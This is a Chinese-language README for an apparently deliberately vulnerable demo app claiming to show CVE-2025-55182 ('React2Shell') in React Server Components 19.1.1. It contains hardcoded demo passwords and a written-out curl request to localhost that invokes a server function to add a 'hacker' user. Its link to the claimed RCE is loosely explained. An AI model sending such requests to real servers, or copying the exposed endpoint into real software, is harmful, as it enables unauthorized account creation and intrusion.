本项目演示 React Server Components 19.1.1 中的一个严重 RCE 漏洞(CVE-2025-55182 / React2Shell)。
本项目演示 CVE-2025-55182(React2Shell),这是 React Server Components 19.1.1 中的一个严重远程代码执行(RCE)漏洞。该应用包含:
react-cve-demo/
├── package.json # React 19.1.1 with react-server-dom-webpack
├── server.js # Custom React server with RSC support
├── src/
│ ├── App.jsx # Main React component
│ ├── Login.jsx # Login page component
│ ├── Dashboard.jsx # Protected page component
│ └── server-components/ # Server Components
│ └── AuthServer.jsx # Server-side auth logic
├── data/
│ └── users.json # User credentials storage
├── Dockerfile # Docker containerization
├── docker-compose.yml # Docker Compose setup
├── .dockerignore
├── exploit/
│ ├── poc.js # POC exploit script (Node.js)
│ └── poc.sh # POC exploit script (bash/curl)
└── README.md # This file
npm install
npm start
使用 Docker Compose 构建并运行:
docker-compose up --build
或者手动构建并运行:
docker build -t react-cve-demo .
docker run -p 3000:3000 react-cve-demo
通过 http://localhost:3000 访问应用
admin,密码:securepassword123user1,密码:password123该漏洞存在于 RSC Flight 协议的反序列化机制中。该利用程序:
node exploit/poc.js
或使用自定义目标 URL:
TARGET_URL=http://localhost:3000 node exploit/poc.js
./exploit/poc.sh
或使用自定义目标 URL:
TARGET_URL=http://localhost:3000 ./exploit/poc.sh
单行版本:
curl -X POST http://localhost:3000/rsc -H "Content-Type: application/json" -d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
多行版本(便于阅读):
curl -X POST http://localhost:3000/rsc \
-H "Content-Type: application/json" \
-d '{"action":"callServerFunction","payload":{"moduleId":"AuthServer","functionName":"validateLogin","args":["hacker","hacked123"]}}'
注意:
exploit/curl-oneline.txt中还提供了可直接复制粘贴的单行命令
运行利用程序后:
data/users.json 中创建一个新用户hackerhacked123该漏洞存在于 React Server Components 19.1.1 中,具体涉及:
react-server-dom-webpack服务器(server.js)实现了:
/rsc)data/users.json)RSC Flight 协议端点接受:
action: "callServerFunction":执行服务器函数action: "renderRSC":渲染 React Server Components漏洞存在于 Server Function 调用被反序列化和执行的过程中。
npm install)docker-compose logsMIT 许可证 - 仅用于教育目的
本软件仅用于教育和安全研究目的。作者和贡献者不对因使用本软件而导致的任何滥用或损害负责。使用风险自负,并确保遵守所有适用的法律法规。